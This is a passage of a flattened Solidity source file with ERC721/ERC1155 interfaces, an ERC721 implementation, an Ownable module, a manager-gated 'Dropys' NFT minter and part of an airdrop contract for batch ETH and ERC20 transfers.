function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// File: github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Mint `tokenId` token to `to`
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must not yet exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
*/
function mint(address to, uint256 tokenId) external;
/**
* @dev Mint to `to`
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
*/
function mint(address to) external;
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// File: github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// File: github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| interfaceId == type(IERC721Enumerable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed from, address indexed to);
/**
* Constructor assigns ownership to the address used to deploy the contract.
* */
constructor() {
owner = msg.sender;
}
function getOwner() public view returns(address) {
return owner;
}
/**
* Any function with this modifier in its method signature can only be executed by
* the owner of the contract. Any attempt made by any other account to invoke the
* functions with this modifier will result in a loss of gas and the contract's state
* will remain untampered.
* */
modifier onlyOwner {
require(msg.sender == owner, "Function restricted to owner of contract");
_;
}
/**
* Allows for the transfer of ownership to another address;
*
* @param _newOwner The address to be assigned new ownership.
* */
function transferOwnership(address _newOwner) public onlyOwner {
require(
_newOwner != address(0)
&& _newOwner != owner
);
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: browser/NFTminter.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract NFT is Context, Ownable, ERC721 {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
address public manager;
event ManagerChanged(address indexed from, address indexed to);
constructor() ERC721("Dropys", "Dropys") {}
function mintToCaller(address caller, string memory tokenURI)
public
returns (uint256)
{
require(_msgSender() == manager, "NFT: Only can be called by manager");
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_mint(caller, newItemId);
_setTokenURI(newItemId, tokenURI);
return newItemId;
}
// tokenURI points to a JSON file that conforms to the "ERC721 Metadata JSON Schema".
function setManager(address _newManager) public onlyOwner returns(bool) {
emit ManagerChanged(manager, _newManager);
manager = _newManager;
return true;
}
function mint(address to, uint256 tokenId) external override {}
function mint(address to) external override {}
}
interface INFT {
function mintToCaller(address caller, string memory tokenURI) external returns (uint256);
}
/**
* Contract acts as an interface between the DappleAirdrops contract and all ERC20 compliant
* tokens.
* */
abstract contract ERCInterface {
function transferFrom(address _from, address _to, uint256 _value) public virtual;
function balanceOf(address who) public virtual returns (uint256);
function allowance(address owner, address spender) public view virtual returns (uint256);
function transfer(address to, uint256 value) public virtual returns(bool);
}
contract Dropys is Ownable {
using SafeMath for uint256;
uint256 public rate;
uint256 public dropUnitPrice;
address public nftAddress;
event TokenAirdrop(address indexed by, address indexed tokenAddress, uint256 totalTransfers);
event EthAirdrop(address indexed by, uint256 totalTransfers, uint256 ethValue);
event NFTAirdrop(address indexed by, address indexed tokenAddress, uint256 totalTransfers);
event RateChanged(uint256 from, uint256 to);
event NFTAddressChanged(address indexed from, address indexed to);
event RefundIssued(address indexed to, uint256 totalWei);
event ERC20TokensWithdrawn(address token, address sentTo, uint256 value);
event CommissionPaid(address indexed to, uint256 value);
event NewAffiliatePartnership(address indexed newAffiliate, string indexed affiliateCode);
event AffiliatePartnershipRevoked(address indexed affiliate, string indexed affiliateCode);
constructor() {
rate = 50000000000000000;
dropUnitPrice = 1e14;
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k-1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
/**
* Used to give change to users who accidentally send too much ETH to payable functions.
*
* @param _price The service fee the user has to pay for function execution.
**/
function giveChange(uint256 _price) internal {
if(msg.value > _price) {
uint256 change = msg.value.sub(_price);
payable(msg.sender).transfer(change);
}
}
/**
* Allows for the price of drops to be changed by the owner of the contract. Any attempt made by
* any other account to invoke the function will result in a loss of gas and the price will remain
* untampered.
*
* @return true if function executes successfully, false otherwise.
* */
function setRate(uint256 _newRate) public onlyOwner returns(bool) {
require(
_newRate != rate
&& _newRate > 0
);
emit RateChanged(rate, _newRate);
rate = _newRate;
uint256 eth = 1 ether;
dropUnitPrice = eth.div(rate);
return true;
}
/**
* Allows for the NFT contract address to be changed by the owner of the contract. Any attempt made by
* any other account to invoke the function will result in a loss of gas and the nft address will remain
* untampered.
*
* @return true if function executes successfully, false otherwise.
* */
function setNFTAddress(address _newNFTAddress) public onlyOwner returns(bool) {
emit NFTAddressChanged(nftAddress, _newNFTAddress);
nftAddress = _newNFTAddress;
return true;
}
/**
* Allows for the allowance of a token from its owner to this contract to be queried.
*
* As part of the ERC20 standard all tokens which fall under this category have an allowance
* function which enables owners of tokens to allow (or give permission) to another address
* to spend tokens on behalf of the owner. This contract uses this as part of its protocol.
* Users must first give permission to the contract to transfer tokens on their behalf, however,
* this does not mean that the tokens will ever be transferrable without the permission of the
* owner. This is a security feature which was implemented on this contract. It is not possible
* for the owner of this contract or anyone else to transfer the tokens which belong to others.
*
* @param _addr The address of the token's owner.
* @param _addressOfToken The contract address of the ERC20 token.
*
* @return The ERC20 token allowance from token owner to this contract.
* */
function getTokenAllowance(address _addr, address _addressOfToken) public view returns(uint256) {
ERCInterface token = ERCInterface(_addressOfToken);
return token.allowance(_addr, address(this));
}
fallback() external payable {
revert();
}
receive() external payable {
revert();
}
/**
* Checks if two strings are the same.
*
* @param _a String 1
* @param _b String 2
*
* @return True if both strings are the same. False otherwise.
**/
function stringsAreEqual(string memory _a, string memory _b) internal pure returns(bool) {
bytes32 hashA = keccak256(abi.encodePacked(_a));
bytes32 hashB = keccak256(abi.encodePacked(_b));
return hashA == hashB;
}
/**
* Allows for the distribution of Ether to be transferred to multiple recipients at
* a time. This function only facilitates batch transfers of constant values (i.e., all recipients
* will receive the same amount of tokens).
*
* @param _recipients The list of addresses which will receive tokens.
* @param _value The amount of tokens all addresses will receive.
* @param _affiliateAddress The affiliate address that is paid a commission.affiliated with a partner, they will provide this code so that
* the parter is paid commission.
*
* @return true if function executes successfully, false otherwise.
* */
function singleValueEthAirdrop(address[] memory _recipients, uint256 _value, address _affiliateAddress) public payable returns(bool) {
uint256 price = _recipients.length.mul(dropUnitPrice);
uint256 totalCost = _value.mul(_recipients.length).add(price);
require(
msg.value >= totalCost,
"Not enough ETH sent with transaction!"
);
distributeCommission(_recipients.length, _affiliateAddress);
giveChange(totalCost);
for(uint i=0; i<_recipients.length; i++) {
if(_recipients[i] != address(0)) {
payable(_recipients[i]).transfer(_value);
}
}
emit EthAirdrop(msg.sender, _recipients.length, _value.mul(_recipients.length));
return true;
}
function _getTotalEthValue(uint256[] memory _values) internal pure returns(uint256) {
uint256 totalVal = 0;
for(uint i = 0; i < _values.length; i++) {
totalVal = totalVal.add(_values[i]);
}
return totalVal;
}
/**
* Allows for the distribution of Ether to be transferred to multiple recipients at
* a time.
*
* @param _recipients The list of addresses which will receive tokens.
* @param _values The corresponding amounts that the recipients will receive
* @param _affiliateAddress The affiliate address that is paid a commission.affiliated with a partner, they will provide this code so that
* the parter is paid commission.
*
* @return true if function executes successfully, false otherwise.
* */
function multiValueEthAirdrop(address[] memory _recipients, uint256[] memory _values, address _affiliateAddress) public payable returns(bool) {
require(_recipients.length == _values.length, "Total number of recipients and values are not equal");
uint256 totalEthValue = _getTotalEthValue(_values);
uint256 price = _recipients.length.mul(dropUnitPrice);
uint256 totalCost = totalEthValue.add(price);
require(
msg.value >= totalCost,
"Not enough ETH sent with transaction!"
);
distributeCommission(_recipients.length, _affiliateAddress);
giveChange(totalCost);
for(uint i = 0; i < _recipients.length; i++) {
if(_recipients[i] != address(0) && _values[i] > 0) {
payable(_recipients[i]).transfer(_values[i]);
}
}
emit EthAirdrop(msg.sender, _recipients.length, totalEthValue);
return true;
}
/**
* Allows for the distribution of an ERC20 token to be transferred to multiple recipients at
* a time. This function only facilitates batch transfers of constant values (i.e., all recipients
* will receive the same amount of tokens).
*
* @param _addressOfToken The contract address of an ERC20 token.
* @param _recipients The list of addresses which will receive tokens.
* @param _value The amount of tokens all addresses will receive.
* @param _affiliateAddress The affiliate address that is paid a commission.affiliated with a partner, they will provide this code so that
* the parter is paid commission.
*
* @return true if function executes successfully, false otherwise.
* */
function singleValueTokenAirdrop(address _addressOfToken, address[] memory _recipients, uint256 _value, address _affiliateAddress) public payable returns(bool) {
ERCInterface token = ERCInterface(_addressOfToken);
uint256 price = _recipients.length.mul(dropUnitPrice);
require(
msg.value >= price,
"Not enough ETH sent with transaction!"
);
giveChange(price);
for(uint i = 0; i < _recipients.length; i++) {
if(_recipients[i] != address(0)) {
token.transferFrom(msg.sender, _recipients[i], _value);
}
}
distributeCommission(_recipients.length, _affiliateAddress);
emit TokenAirdrop(msg.sender, _addressOfToken, _recipients.length);
return true;
}
/**
* Allows for the distribution of an ERC20 token to be transferred to multiple recipients at
* a time. This function facilitates batch transfers of differing values (i.e., all recipients
* can receive different amounts of tokens).
*
* @param _addressOfToken The contract address of an ERC20 token.
* @param _recipients The list of addresses which will receive tokens.
* @param _values The corresponding values of tokens which each address will receive.
* @param _affiliateAddress The affiliate address that is paid a commission.affiliated with a partner, they will provide this code so that
* the parter is paid commission.
*
* @return true if function executes successfully, false otherwise.
* */
function multiValueTokenAirdrop(address _addressOfToken, address[] memory _recipients, uint256[] memory _values, address _affiliateAddress) public payable returns(bool) {
ERCInterface token = ERCInterface(_addressOfToken);
require(_recipients.length == _values.length, "Total number of recipients and values are not equal");
uint256 price = _recipients.length.mul(dropUnitPrice);
require(
msg.value >= price,
"Not enough ETH sent with transaction!"
);
giveChange(price);
for(uint i = 0; i < _recipients.length; i++) {
if(_recipients[i] != address(0) && _values[i] > 0) {
token.transferFrom(msg.sender, _recipients[i], _values[i]);
}
